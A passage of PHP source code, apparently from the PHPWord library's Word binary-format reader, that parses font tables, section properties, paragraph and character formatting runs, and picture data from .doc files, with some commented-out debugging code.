            $this->arrayFib['fcUnused4'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused4'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused5'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused5'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused6'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused6'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcOssTheme'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbOssTheme'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcColorSchemeMapping'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbColorSchemeMapping'] = self::getInt4d($data, $pos);
            $pos += 4;
        }

        return $pos;
    }

    private function readFibContent(): void
    {
        // Informations about Font
        $this->readRecordSttbfFfn();

        // Informations about page
        $this->readRecordPlcfSed();

        // reading paragraphs
        //@see  https://github.com/notmasteryet/CompoundFile/blob/ec118f354efebdee9102e41b5b7084fce81125b0/WordFileReader/WordDocument.cs#L86
        $this->readRecordPlcfBtePapx();

        // reading character formattings
        //@see  https://github.com/notmasteryet/CompoundFile/blob/ec118f354efebdee9102e41b5b7084fce81125b0/WordFileReader/WordDocument.cs#L94
        $this->readRecordPlcfBteChpx();

        $this->generatePhpWord();
    }

    /**
     * Section and information about them.
     *
     * @see  http://msdn.microsoft.com/en-us/library/dd924458%28v=office.12%29.aspx
     */
    private function readRecordPlcfSed(): void
    {
        $posMem = $this->arrayFib['fcPlcfSed'];
        // PlcfSed
        // PlcfSed : aCP
        $aCP = [];
        $aCP[0] = self::getInt4d($this->data1Table, $posMem);
        $posMem += 4;
        $aCP[1] = self::getInt4d($this->data1Table, $posMem);
        $posMem += 4;

        // PlcfSed : aSed
        //@see  http://msdn.microsoft.com/en-us/library/dd950194%28v=office.12%29.aspx
        $numSed = $this->getNumInLcb($this->arrayFib['lcbPlcfSed'], 12);

        $aSed = [];
        for ($iInc = 0; $iInc < $numSed; ++$iInc) {
            // Sed : http://msdn.microsoft.com/en-us/library/dd950982%28v=office.12%29.aspx
            // fn
            $posMem += 2;
            // fnMpr
            $aSed[$iInc] = self::getInt4d($this->data1Table, $posMem);
            $posMem += 4;
            // fnMpr
            $posMem += 2;
            // fcMpr
            $posMem += 4;
        }

        foreach ($aSed as $offsetSed) {
            // Sepx : http://msdn.microsoft.com/en-us/library/dd921348%28v=office.12%29.aspx
            $cb = self::getInt2d($this->dataWorkDocument, $offsetSed);
            $offsetSed += 2;

            $oStylePrl = $this->readPrl($this->dataWorkDocument, $offsetSed, $cb);
            $offsetSed += $oStylePrl->length;

            $this->arraySections[] = $oStylePrl;
        }
    }

    /**
     * Specifies the fonts that are used in the document.
     *
     * @see  http://msdn.microsoft.com/en-us/library/dd943880%28v=office.12%29.aspx
     */
    private function readRecordSttbfFfn(): void
    {
        $posMem = $this->arrayFib['fcSttbfFfn'];

        $cData = self::getInt2d($this->data1Table, $posMem);
        $posMem += 2;
        $cbExtra = self::getInt2d($this->data1Table, $posMem);
        $posMem += 2;

        if ($cData < 0x7FF0 && $cbExtra == 0) {
            for ($inc = 0; $inc < $cData; ++$inc) {
                // len
                ++$posMem;
                // ffid
                ++$posMem;
                // wWeight (400 : Normal - 700 bold)
                $posMem += 2;
                // chs
                ++$posMem;
                // ixchSzAlt
                $ixchSzAlt = self::getInt1d($this->data1Table, $posMem);
                ++$posMem;
                // panose
                $posMem += 10;
                // fs
                $posMem += 24;
                // xszFfn
                $xszFfn = '';
                do {
                    $char = self::getInt2d($this->data1Table, $posMem);
                    $posMem += 2;
                    if ($char > 0) {
                        $xszFfn .= chr($char);
                    }
                } while ($char != 0);
                // xszAlt
                $xszAlt = '';
                if ($ixchSzAlt > 0) {
                    do {
                        $char = self::getInt2d($this->data1Table, $posMem);
                        $posMem += 2;
                        if ($char == 0) {
                            break;
                        }
                        $xszAlt .= chr($char);
                    } while ($char != 0);
                }
                $this->arrayFonts[] = [
                    'main' => $xszFfn,
                    'alt' => $xszAlt,
                ];
            }
        }
    }

    /**
     * Paragraph and information about them.
     *
     * @see  http://msdn.microsoft.com/en-us/library/dd908569%28v=office.12%29.aspx
     */
    private function readRecordPlcfBtePapx(): void
    {
        $posMem = $this->arrayFib['fcPlcfBtePapx'];
        $num = $this->getNumInLcb($this->arrayFib['lcbPlcfBtePapx'], 4);
        $posMem += 4 * ($num + 1);
        $arrAPnBtePapx = $this->getArrayCP($this->data1Table, $posMem, $num);
        $posMem += 4 * $num;

        foreach ($arrAPnBtePapx as $aPnBtePapx) {
            $offsetBase = $aPnBtePapx * 512;
            $offset = $offsetBase;

            $string = '';

            $numRun = self::getInt1d($this->dataWorkDocument, $offset + 511);
            $arrayRGFC = [];
            for ($inc = 0; $inc <= $numRun; ++$inc) {
                $arrayRGFC[$inc] = self::getInt4d($this->dataWorkDocument, $offset);
                $offset += 4;
            }
            $arrayRGB = [];
            for ($inc = 1; $inc <= $numRun; ++$inc) {
                // @see  http://msdn.microsoft.com/en-us/library/dd925804(v=office.12).aspx
                $arrayRGB[$inc] = self::getInt1d($this->dataWorkDocument, $offset);
                ++$offset;
                // reserved
                $offset += 12;
            }

            foreach (array_keys($arrayRGFC) as $key) {
                if (!isset($arrayRGFC[$key + 1])) {
                    break;
                }
                $strLen = $arrayRGFC[$key + 1] - $arrayRGFC[$key] - 1;
                for ($inc = 0; $inc < ($strLen * 2); ++$inc) {
                    $byte = self::getInt2d($this->dataWorkDocument, $arrayRGFC[$key] + ($inc * 2));
                    if ($byte > 0) {
                        $string .= mb_chr($byte, 'UTF-8');
                    } else {
                        break;
                    }
                }
            }
            $this->arrayParagraphs[] = $string;

            //@todo readPrl for paragraphs
            /*// use $this->readPrl()
            foreach ($arrayRGB as $key => $rgb) {
                $offset = $offsetBase + ($rgb * 2);

                $cb = self::getInt1d($this->dataWorkDocument, $offset);
                $offset += 1;
                print_r('$cb : '.$cb.PHP_EOL);
                if ($cb == 0) {
                    $cb = self::getInt1d($this->dataWorkDocument, $offset);
                    $cb = $cb * 2;
                    $offset += 1;
                    print_r('$cb0 : '.$cb.PHP_EOL);
                } else {
                    $cb = $cb * 2 - 1;
                    print_r('$cbD : '.$cb.PHP_EOL);
                }
                $istd = self::getInt2d($this->dataWorkDocument, $offset);
                $offset += 2;
                $cb -= 2;
                print_r('$istd : '.$istd.($istd == 0 ? ' (Normal)' : '').PHP_EOL);
                if ($cb > 0) {
                    do{
                        $sprm = self::getInt2d($this->dataWorkDocument, $offset);
                        $offset += 2;
                        $cb -= 2;
                        $sprm_IsPmd = $sprm & 0x01FF;
                        $sprm_F = ($sprm/512) & 0x0001;
                        $sprm_Sgc = ($sprm/1024) & 0x0007;
                        $sprm_Spra = ($sprm/8192);

                        print_r('$sprm : 0x'.dechex($sprm).PHP_EOL);
                        print_r('$sprm.ispmd : 0x'.dechex($sprm_IsPmd).PHP_EOL);
                        print_r('$sprm.f : 0x'.dechex($sprm_F).PHP_EOL);
                        print_r('$sprm.sgc : 0x'.dechex($sprm_Sgc));
                        switch (dechex($sprm_Sgc)) {
                            case 0x01:
                                print_r(' (Paragraph property)');
                                break;
                            case 0x02:
                                print_r(' (Character property)');
                                break;
                            case 0x03:
                                print_r(' (Picture property)');
                                break;
                            case 0x04:
                                print_r(' (Section property)');
                                break;
                            case 0x05:
                                print_r(' (Table property)');
                                break;
                        }
                        print_r(PHP_EOL);
                        print_r('$sprm.spra : 0x'.dechex($sprm_Spra).PHP_EOL);
                        switch (dechex($sprm_Spra)) {
                            case 0x0:
                                $operand = self::getInt1d($this->dataWorkDocument, $offset);
                                $offset += 1;
                                $cb -= 1;
                                switch (dechex($operand)) {
                                    case 0x00:
                                        $operand = 'OFF';
                                        break;
                                    case 0x01:
                                        $operand = 'ON';
                                        break;
                                    case 0x80:
                                        $operand = 'CURRENT VALUE';
                                        print_r(''.PHP_EOL.PHP_EOL);
                                        break;
                                    case 0x81:
                                        $operand = 'OPPOSITE OF THE CURRENT VALUE';
                                        break;
                                }
                                break;
                            case 0x1:
                                $operand = self::getInt1d($this->dataWorkDocument, $offset);
                                $offset += 1;
                                $cb -= 1;
                                print_r('$operand : 0x'.dechex($operand).PHP_EOL);
                                break;
                            case 0x2:
                            case 0x4:
                            case 0x5:
                                $operand = self::getInt2d($this->dataWorkDocument, $offset);
                                $offset += 2;
                                $cb -= 2;
                                print_r('$operand : 0x'.dechex($operand).PHP_EOL);
                                break;
                            case 0x3:
                                if ($sprm_IsPmd != 0x70) {
                                    $operand = self::getInt4d($this->dataWorkDocument, $offset);
                                    $offset += 4;
                                    $cb -= 4;
                                    print_r('$operand : 0x'.dechex($operand).PHP_EOL);
                                }
                                break;
                            case 0x7:
                                $operand = self::getInt3d($this->dataWorkDocument, $offset);
                                $offset += 3;
                                $cb -= 3;
                                print_r('$operand : 0x'.dechex($operand).PHP_EOL);
                                break;
                            default:
                                print_r('YO YO YO : '.PHP_EOL);
                        }

                        //
                        switch (dechex($sprm_Sgc)) {
                            case 0x01: // Sprm is modifying a paragraph property.
                                switch ($sprm_IsPmd) {
                                    case 0x0A: // sprmPIlvl
                                        print_r('sprmPIlvl : '.$operand.PHP_EOL.PHP_EOL);
                                        break;
                                    case 0x0B: // sprmPIlfo
                                        print_r('sprmPIlfo : '.$operand.PHP_EOL.PHP_EOL);
                                        break;
                                    default:
                                        print_r('$sprm_IsPmd(1) : '.$sprm_IsPmd.PHP_EOL.PHP_EOL);
                                        break;
                                }
                                break;
                            case 0x02: // Sprm is modifying a character property.
                                switch ($sprm_IsPmd) {
                                    default:
                                        print_r('$sprm_IsPmd(2) : '.$sprm_IsPmd.PHP_EOL.PHP_EOL);
                                        break;
                                }
                                break;
                            case 0x03: // Sprm is modifying a picture property.
                                switch ($sprm_IsPmd) {
                                    default:
                                        print_r('$sprm_IsPmd(3) : '.$sprm_IsPmd.PHP_EOL.PHP_EOL);
                                        break;
                                }
                                break;
                            case 0x04: // Sprm is modifying a section property.
                                switch ($sprm_IsPmd) {
                                    default:
                                        print_r('$sprm_IsPmd(4) : '.$sprm_IsPmd.PHP_EOL.PHP_EOL);
                                        break;
                                }
                                break;
                            case 0x05: // Sprm is modifying a table property.
                                switch ($sprm_IsPmd) {
                                    default:
                                        print_r('$sprm_IsPmd(4) : '.$sprm_IsPmd.PHP_EOL.PHP_EOL);
                                        break;
                                }
                                break;
                            default:
                                print_r('$sprm_Sgc : '.dechex($sprm_Sgc).PHP_EOL.PHP_EOL);
                                break;
                        }
                    } while ($cb > 0);
                } else {
                    if ($istd > 0) {
                        // @todo : Determining Properties of a Paragraph Style
                        # @see  http://msdn.microsoft.com/en-us/library/dd948631%28v=office.12%29.aspx
                    }
                }
            }*/
        }
    }

    /**
     * Character formatting properties to text in a document.
     *
     * @see  http://msdn.microsoft.com/en-us/library/dd907108%28v=office.12%29.aspx
     */
    private function readRecordPlcfBteChpx(): void
    {
        $posMem = $this->arrayFib['fcPlcfBteChpx'];
        $num = $this->getNumInLcb($this->arrayFib['lcbPlcfBteChpx'], 4);
        $aPnBteChpx = [];
        for ($inc = 0; $inc <= $num; ++$inc) {
            $aPnBteChpx[$inc] = self::getInt4d($this->data1Table, $posMem);
            $posMem += 4;
        }
        $pnFkpChpx = self::getInt4d($this->data1Table, $posMem);
        $posMem += 4;

        $offsetBase = $pnFkpChpx * 512;
        $offset = $offsetBase;

        // ChpxFkp
        // @see  http://msdn.microsoft.com/en-us/library/dd910989%28v=office.12%29.aspx
        $numRGFC = self::getInt1d($this->dataWorkDocument, $offset + 511);
        $arrayRGFC = [];
        for ($inc = 0; $inc <= $numRGFC; ++$inc) {
            $arrayRGFC[$inc] = self::getInt4d($this->dataWorkDocument, $offset);
            $offset += 4;
        }

        $arrayRGB = [];
        for ($inc = 1; $inc <= $numRGFC; ++$inc) {
            $arrayRGB[$inc] = self::getInt1d($this->dataWorkDocument, $offset);
            ++$offset;
        }

        $start = 0;
        foreach ($arrayRGB as $keyRGB => $rgb) {
            $oStyle = new stdClass();
            $oStyle->pos_start = $start;
            $oStyle->pos_len = (int) ceil((($arrayRGFC[$keyRGB] - 1) - $arrayRGFC[$keyRGB - 1]) / 2);
            $start += $oStyle->pos_len;

            if ($rgb > 0) {
                // Chp Structure
                // @see  http://msdn.microsoft.com/en-us/library/dd772849%28v=office.12%29.aspx
                $posRGB = $offsetBase + $rgb * 2;

                $cb = self::getInt1d($this->dataWorkDocument, $posRGB);
                ++$posRGB;

                $oStyle->style = $this->readPrl($this->dataWorkDocument, $posRGB, $cb);
                $posRGB += $oStyle->style->length;
            }
            $this->arrayCharacters[] = $oStyle;
        }
    }

    /**
     * @return stdClass
     */
    private function readSprm($sprm)
    {
        $oSprm = new stdClass();
        $oSprm->isPmd = $sprm & 0x01FF;
        $oSprm->f = (int) ($sprm / 512) & 0x0001;
        $oSprm->sgc = (int) ($sprm / 1024) & 0x0007;
        $oSprm->spra = (int) ($sprm / 8192);

        return $oSprm;
    }

    /**
     * @param string $data
     * @param int $pos
     * @param stdClass $oSprm
     *
     * @return array
     */
    private function readSprmSpra($data, $pos, $oSprm)
    {
        $length = 0;
        $operand = null;

        switch (dechex($oSprm->spra)) {
            case 0x0:
                $operand = self::getInt1d($data, $pos);
                $length = 1;
                switch (dechex($operand)) {
                    case 0x00:
                        $operand = false;

                        break;
                    case 0x01:
                        $operand = true;

                        break;
                    case 0x80:
                        $operand = self::SPRA_VALUE;

                        break;
                    case 0x81:
                        $operand = self::SPRA_VALUE_OPPOSITE;

                        break;
                }

                break;
            case 0x1:
                $operand = self::getInt1d($data, $pos);
                $length = 1;

                break;
            case 0x2:
            case 0x4:
            case 0x5:
                $operand = self::getInt2d($data, $pos);
                $length = 2;

                break;
            case 0x3:
                if ($oSprm->isPmd != 0x70) {
                    $operand = self::getInt4d($data, $pos);
                    $length = 4;
                }

                break;
            case 0x7:
                $operand = self::getInt3d($data, $pos);
                $length = 3;

                break;
            default:
                // print_r('YO YO YO : '.PHP_EOL);
        }

        return [
            'length' => $length,
            'operand' => $operand,
        ];
    }

    /**
     * @param $data int
     * @param $pos int
     * @param $cbNum int
     *
     * @return stdClass
     *
     * @see  http://msdn.microsoft.com/en-us/library/dd772849%28v=office.12%29.aspx
     */
    private function readPrl($data, $pos, $cbNum)
    {
        $posStart = $pos;
        $oStylePrl = new stdClass();

        // Variables
        $sprmCPicLocation = null;
        $sprmCFData = null;
        //$sprmCFSpec = null;

        do {
            // Variables
            $operand = null;

            $sprm = self::getInt2d($data, $pos);
            $oSprm = $this->readSprm($sprm);
            $pos += 2;
            $cbNum -= 2;

            $arrayReturn = $this->readSprmSpra($data, $pos, $oSprm);
            $pos += $arrayReturn['length'];
            $cbNum -= $arrayReturn['length'];
            $operand = $arrayReturn['operand'];

            switch (dechex($oSprm->sgc)) {
                // Paragraph property
                case 0x01:
                    break;
                    // Character property
                case 0x02:
                    if (!isset($oStylePrl->styleFont)) {
                        $oStylePrl->styleFont = [];
                    }
                    switch ($oSprm->isPmd) {
                        // sprmCFRMarkIns
                        case 0x01:
                            break;
                            // sprmCFFldVanish
                        case 0x02:
                            break;
                            // sprmCPicLocation
                        case 0x03:
                            $sprmCPicLocation = $operand;

                            break;
                            // sprmCFData
                        case 0x06:
                            $sprmCFData = dechex($operand) != 0x00;

                            break;
                            // sprmCFItalic
                        case 0x36:
                            // By default, text is not italicized.
                            switch ($operand) {
                                case false:
                                case true:
                                    $oStylePrl->styleFont['italic'] = $operand;

                                    break;
                                case self::SPRA_VALUE:
                                    $oStylePrl->styleFont['italic'] = false;

                                    break;
                                case self::SPRA_VALUE_OPPOSITE:
                                    $oStylePrl->styleFont['italic'] = true;

                                    break;
                            }

                            break;
                            // sprmCIstd
                        case 0x30:
                            //print_r('sprmCIstd : '.dechex($operand).PHP_EOL.PHP_EOL);
                            break;
                            // sprmCFBold
                        case 0x35:
                            // By default, text is not bold.
                            switch ($operand) {
                                case false:
                                case true:
                                    $oStylePrl->styleFont['bold'] = $operand;

                                    break;
                                case self::SPRA_VALUE:
                                    $oStylePrl->styleFont['bold'] = false;

                                    break;
                                case self::SPRA_VALUE_OPPOSITE:
                                    $oStylePrl->styleFont['bold'] = true;

                                    break;
                            }

                            break;
                            // sprmCFStrike
                        case 0x37:
                            // By default, text is not struck through.
                            switch ($operand) {
                                case false:
                                case true:
                                    $oStylePrl->styleFont['strikethrough'] = $operand;

                                    break;
                                case self::SPRA_VALUE:
                                    $oStylePrl->styleFont['strikethrough'] = false;

                                    break;
                                case self::SPRA_VALUE_OPPOSITE:
                                    $oStylePrl->styleFont['strikethrough'] = true;

                                    break;
                            }

                            break;
                            // sprmCKul
                        case 0x3E:
                            switch (dechex($operand)) {
                                case 0x00:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_NONE;

                                    break;
                                case 0x01:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_SINGLE;

                                    break;
                                case 0x02:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_WORDS;

                                    break;
                                case 0x03:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOUBLE;

                                    break;
                                case 0x04:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOTTED;

                                    break;
                                case 0x06:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_HEAVY;

                                    break;
                                case 0x07:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DASH;

                                    break;
                                case 0x09:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOTDASH;

                                    break;
                                case 0x0A:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOTDOTDASH;

                                    break;
                                case 0x0B:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_WAVY;

                                    break;
                                case 0x14:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOTTEDHEAVY;

                                    break;
                                case 0x17:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DASHHEAVY;

                                    break;
                                case 0x19:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOTDASHHEAVY;

                                    break;
                                case 0x1A:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DOTDOTDASHHEAVY;

                                    break;
                                case 0x1B:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_WAVYHEAVY;

                                    break;
                                case 0x27:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DASHLONG;

                                    break;
                                case 0x2B:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_WAVYDOUBLE;

                                    break;
                                case 0x37:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_DASHLONGHEAVY;

                                    break;
                                default:
                                    $oStylePrl->styleFont['underline'] = Style\Font::UNDERLINE_NONE;

                                    break;
                            }

                            break;
                            // sprmCIco
                            //@see  http://msdn.microsoft.com/en-us/library/dd773060%28v=office.12%29.aspx
                        case 0x42:
                            switch (dechex($operand)) {
                                case 0x00:
                                case 0x01:
                                    $oStylePrl->styleFont['color'] = '000000';

                                    break;
                                case 0x02:
                                    $oStylePrl->styleFont['color'] = '0000FF';

                                    break;
                                case 0x03:
                                    $oStylePrl->styleFont['color'] = '00FFFF';

                                    break;
                                case 0x04:
                                    $oStylePrl->styleFont['color'] = '00FF00';

                                    break;
                                case 0x05:
                                    $oStylePrl->styleFont['color'] = 'FF00FF';

                                    break;
                                case 0x06:
                                    $oStylePrl->styleFont['color'] = 'FF0000';

                                    break;
                                case 0x07:
                                    $oStylePrl->styleFont['color'] = 'FFFF00';

                                    break;
                                case 0x08:
                                    $oStylePrl->styleFont['color'] = 'FFFFFF';

                                    break;
                                case 0x09:
                                    $oStylePrl->styleFont['color'] = '000080';

                                    break;
                                case 0x0A:
                                    $oStylePrl->styleFont['color'] = '008080';

                                    break;
                                case 0x0B:
                                    $oStylePrl->styleFont['color'] = '008000';

                                    break;
                                case 0x0C:
                                    $oStylePrl->styleFont['color'] = '800080';

                                    break;
                                case 0x0D:
                                    $oStylePrl->styleFont['color'] = '800080';

                                    break;
                                case 0x0E:
                                    $oStylePrl->styleFont['color'] = '808000';

                                    break;
                                case 0x0F:
                                    $oStylePrl->styleFont['color'] = '808080';

                                    break;
                                case 0x10:
                                    $oStylePrl->styleFont['color'] = 'C0C0C0';
                            }

                            break;
                            // sprmCHps
                        case 0x43:
                            $oStylePrl->styleFont['size'] = $operand / 2;

                            break;
                            // sprmCIss
                        case 0x48:
                            if (!isset($oStylePrl->styleFont['superScript'])) {
                                $oStylePrl->styleFont['superScript'] = false;
                            }
                            if (!isset($oStylePrl->styleFont['subScript'])) {
                                $oStylePrl->styleFont['subScript'] = false;
                            }
                            switch (dechex($operand)) {
                                case 0x00:
                                    // Normal text
                                    break;
                                case 0x01:
                                    $oStylePrl->styleFont['superScript'] = true;

                                    break;
                                case 0x02:
                                    $oStylePrl->styleFont['subScript'] = true;

                                    break;
                            }

                            break;
                            // sprmCRgFtc0
                        case 0x4F:
                            $oStylePrl->styleFont['name'] = '';
                            if (isset($this->arrayFonts[$operand])) {
                                $oStylePrl->styleFont['name'] = $this->arrayFonts[$operand]['main'];
                            }

                            break;
                            // sprmCRgFtc1
                        case 0x50:
                            // if the language for the text is an East Asian language
                            break;
                            // sprmCRgFtc2
                        case 0x51:
                            // if the character falls outside the Unicode character range
                            break;
                            // sprmCFSpec
                        case 0x55:
                            //$sprmCFSpec = $operand;
                            break;
                            // sprmCFtcBi
                        case 0x5E:
                            break;
                            // sprmCFItalicBi
                        case 0x5D:
                            break;
                            // sprmCHpsBi
                        case 0x61:
                            break;
                            // sprmCShd80
                            //@see  http://msdn.microsoft.com/en-us/library/dd923447%28v=office.12%29.aspx
                        case 0x66:
                            // $operand = self::getInt2d($data, $pos);
                            $pos += 2;
                            $cbNum -= 2;

                            // $ipat = ($operand >> 0) && bindec('111111');
                            // $icoBack = ($operand >> 6) && bindec('11111');
                            // $icoFore = ($operand >> 11) && bindec('11111');
                            break;
                            // sprmCCv
                            //@see  http://msdn.microsoft.com/en-us/library/dd952824%28v=office.12%29.aspx
                        case 0x70:
                            $red = str_pad(dechex(self::getInt1d($this->dataWorkDocument, $pos)), 2, '0', STR_PAD_LEFT);
                            ++$pos;
                            $green = str_pad(dechex(self::getInt1d($this->dataWorkDocument, $pos)), 2, '0', STR_PAD_LEFT);
                            ++$pos;
                            $blue = str_pad(dechex(self::getInt1d($this->dataWorkDocument, $pos)), 2, '0', STR_PAD_LEFT);
                            ++$pos;
                            ++$pos;
                            $oStylePrl->styleFont['color'] = $red . $green . $blue;
                            $cbNum -= 4;

                            break;
                        default:
                            // print_r('@todo Character : 0x'.dechex($oSprm->isPmd));
                            // print_r(PHP_EOL);
                    }

                    break;
                    // Picture property
                case 0x03:
                    break;
                    // Section property
                case 0x04:
                    if (!isset($oStylePrl->styleSection)) {
                        $oStylePrl->styleSection = [];
                    }
                    switch ($oSprm->isPmd) {
                        // sprmSNfcPgn
                        case 0x0E:
                            // numbering format used for page numbers
                            break;
                            // sprmSXaPage
                        case 0x1F:
                            $oStylePrl->styleSection['pageSizeW'] = $operand;

                            break;
                            // sprmSYaPage
                        case 0x20:
                            $oStylePrl->styleSection['pageSizeH'] = $operand;

                            break;
                            // sprmSDxaLeft
                        case 0x21:
                            $oStylePrl->styleSection['marginLeft'] = $operand;

                            break;
                            // sprmSDxaRight
                        case 0x22:
                            $oStylePrl->styleSection['marginRight'] = $operand;

                            break;
                            // sprmSDyaTop
                        case 0x23:
                            $oStylePrl->styleSection['marginTop'] = $operand;

                            break;
                            // sprmSDyaBottom
                        case 0x24:
                            $oStylePrl->styleSection['marginBottom'] = $operand;

                            break;
                            // sprmSFBiDi
                        case 0x28:
                            // RTL layout
                            break;
                            // sprmSDxtCharSpace
                        case 0x30:
                            // characpter pitch
                            break;
                            // sprmSDyaLinePitch
                        case 0x31:
                            // line height
                            break;
                            // sprmSClm
                        case 0x32:
                            // document grid mode
                            break;
                            // sprmSTextFlow
                        case 0x33:
                            // text flow
                            break;
                        default:
                            // print_r('@todo Section : 0x'.dechex($oSprm->isPmd));
                            // print_r(PHP_EOL);
                    }

                    break;
                    // Table property
                case 0x05:
                    break;
            }
        } while ($cbNum > 0);

        if (null !== $sprmCPicLocation) {
            if (null !== $sprmCFData && $sprmCFData == 0x01) {
                // NilPICFAndBinData
                //@todo Read Hyperlink structure
                /*$lcb = self::getInt4d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 4;
                $cbHeader = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // ignored
                $sprmCPicLocation += 62;
                // depending of the element
                // Hyperlink => HFD
                // HFD > bits
                $sprmCPicLocation += 1;
                // HFD > clsid
                $sprmCPicLocation += 16;
                // HFD > hyperlink
                //@see  http://msdn.microsoft.com/en-us/library/dd909835%28v=office.12%29.aspx
                $streamVersion = self::getInt4d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 4;
                $data = self::getInt4d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 4;
                $hlstmfAbsFromGetdataRel = ($data >> 9) & bindec('1');
                $hlstmfMonikerSavedAsStr = ($data >> 8) & bindec('1');
                $hlstmfHasFrameName = ($data >> 7) & bindec('1');
                $hlstmfHasCreationTime = ($data >> 6) & bindec('1');
                $hlstmfHasGUID = ($data >> 5) & bindec('1');
                $hlstmfHasDisplayName = ($data >> 4) & bindec('1');
                $hlstmfHasLocationStr = ($data >> 3) & bindec('1');
                $hlstmfSiteGaveDisplayName = ($data >> 2) & bindec('1');
                $hlstmfIsAbsolute = ($data >> 1) & bindec('1');
                $hlstmfHasMoniker = ($data >> 0) & bindec('1');
                for ($inc = 0; $inc <= 32; $inc++) {
                    echo ($data >> $inc) & bindec('1');
                }

                print_r('$hlstmfHasMoniker > '.$hlstmfHasMoniker.PHP_EOL);
                print_r('$hlstmfIsAbsolute > '.$hlstmfIsAbsolute.PHP_EOL);
                print_r('$hlstmfSiteGaveDisplayName > '.$hlstmfSiteGaveDisplayName.PHP_EOL);
                print_r('$hlstmfHasLocationStr > '.$hlstmfHasLocationStr.PHP_EOL);
                print_r('$hlstmfHasDisplayName > '.$hlstmfHasDisplayName.PHP_EOL);
                print_r('$hlstmfHasGUID > '.$hlstmfHasGUID.PHP_EOL);
                print_r('$hlstmfHasCreationTime > '.$hlstmfHasCreationTime.PHP_EOL);
                print_r('$hlstmfHasFrameName > '.$hlstmfHasFrameName.PHP_EOL);
                print_r('$hlstmfMonikerSavedAsStr > '.$hlstmfMonikerSavedAsStr.PHP_EOL);
                print_r('$hlstmfAbsFromGetdataRel > '.$hlstmfAbsFromGetdataRel.PHP_EOL);
                if ($streamVersion == 2) {
                    $AAA = self::getInt4d($this->dataData, $sprmCPicLocation);
                    echo 'AAAA : '.$AAA.PHP_EOL;
                    if ($hlstmfHasDisplayName == 1) {
                        echo 'displayName'.PHP_EOL;
                    }
                    if ($hlstmfHasFrameName == 1) {
                        echo 'targetFrameName'.PHP_EOL;
                    }
                    if ($hlstmfHasMoniker == 1 || $hlstmfMonikerSavedAsStr == 1) {
                        $sprmCPicLocation += 16;
                        $length = self::getInt4d($this->dataData, $sprmCPicLocation);
                        $sprmCPicLocation += 4;
                        for ($inc = 0; $inc < ($length / 2); $inc++) {
                            $chr = self::getInt2d($this->dataData, $sprmCPicLocation);
                            $sprmCPicLocation += 2;
                            print_r(chr($chr));
                        }
                        echo PHP_EOL;
                        echo 'moniker : '.$length.PHP_EOL;
                    }
                    if ($hlstmfHasMoniker == 1 || $hlstmfMonikerSavedAsStr == 1) {
                        echo 'oleMoniker'.PHP_EOL;
                    }
                    if ($hlstmfHasLocationStr == 1) {
                        echo 'location'.PHP_EOL;
                    }
                    if ($hlstmfHasGUID == 1) {
                        echo 'guid'.PHP_EOL;
                        $sprmCPicLocation += 16;
                    }
                    if ($hlstmfHasCreationTime == 1) {
                        echo 'fileTime'.PHP_EOL;
                        $sprmCPicLocation += 4;
                    }
                    echo 'HYPERLINK'.PHP_EOL;
                }*/
            } else {
                // Pictures
                //@see  http://msdn.microsoft.com/en-us/library/dd925458%28v=office.12%29.aspx
                //@see  http://msdn.microsoft.com/en-us/library/dd926136%28v=office.12%29.aspx
                // PICF : lcb
                $sprmCPicLocation += 4;
                // PICF : cbHeader
                $sprmCPicLocation += 2;
                // PICF : mfpf : mm
                $mfpfMm = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : mfpf : xExt
                $sprmCPicLocation += 2;
                // PICF : mfpf : yExt
                $sprmCPicLocation += 2;
                // PICF : mfpf : swHMF
                $sprmCPicLocation += 2;
                // PICF : innerHeader : grf
                $sprmCPicLocation += 4;
                // PICF : innerHeader : padding1
                $sprmCPicLocation += 4;
                // PICF : innerHeader : mmPM
                $sprmCPicLocation += 2;
                // PICF : innerHeader : padding2
                $sprmCPicLocation += 4;
                // PICF : picmid : dxaGoal
                $picmidDxaGoal = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : dyaGoal
                $picmidDyaGoal = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : mx
                $picmidMx = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : my
                $picmidMy = self::getInt2d($this->dataData, $sprmCPicLocation);
